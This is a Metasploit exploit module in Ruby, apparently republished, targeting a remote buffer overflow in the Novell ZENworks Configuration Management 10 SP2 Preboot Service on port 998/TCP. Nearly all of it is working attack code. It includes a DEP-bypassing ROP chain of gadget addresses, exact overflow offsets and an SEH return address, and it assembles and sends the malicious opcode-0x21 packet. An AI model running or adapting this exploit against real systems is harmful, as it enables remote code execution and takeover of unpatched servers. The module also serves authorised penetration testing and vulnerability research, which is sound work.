Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow',  
'Description' => %q{  
This module exploits a remote buffer overflow in the ZENworks Configuration  
Management 10 SP2. The vulnerability exists in the Preboot service and can be  
triggered by sending a specially crafted packet with the opcode 0x21  
(PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on  
Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2  
(DEP bypass).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Stephen Fewer', # Vulnerability Discovery  
'juan' # Metasploit module  
],  
'References' =>  
[  
[ 'OSVDB', '65361' ],  
[ 'BID', '40486' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-090/' ],  
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Payload' =>  
{  
'BadChars' => "",  
'Space'=> 8138,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
[ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',  
{  
'Offset' => 8252,  
'OffsetBottomStack' => 8288,  
'OffsetRop' => 44,  
'Ret' => 0x0040175a # add esp, 0x408 # ret - novell_pbserv.exe  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Mar 30 2010',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(998)], self.class)  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
def nop  
return make_nops(4).unpack("L")[0].to_i  
end  
  
# rop chain generated with mona.py  
def create_rop_chain()  
rop_gadgets =  
[  
0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]  
0x00001000, # 0x00001000-> edx  
0x10062113, # POP ECX # RETN [zenimgweb.dll]  
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]  
0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]  
0x1002fd05, # POP EBP # RETN [zenimgweb.dll]  
0x10043053, # & push esp # ret [zenimgweb.dll]  
0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]  
0x00000001, # 0x00000001-> ebx  
0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]  
0x00000040, # 0x00000040-> ecx  
0x1003173e, # POP EDI # RETN [zenimgweb.dll]  
0x10020801, # RETN (ROP NOP) [zenimgweb.dll]  
0x00406b58, # POP EAX # RETN [novell-pbserv.exe]  
nop,  
0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]  
].pack("V*")  
  
return rop_gadgets  
end  
  
  
def exploit  
connect  
  
buf = rand_text(target['OffsetRop'])  
buf << create_rop_chain  
buf << payload.encoded  
buf << rand_text(target['Offset'] - buf.length)  
buf << generate_seh_record(target.ret)  
buf << rand_text(target['OffsetBottomStack'] - buf.length)  
  
packet = [0x21].pack("N") # Opcode 0x21 PROXY_CMD_FTP_FILE  
packet << [buf.length].pack("N") # Length  
packet << buf # Value  
sock.put(packet)  
  
disconnect  
end  
end  
`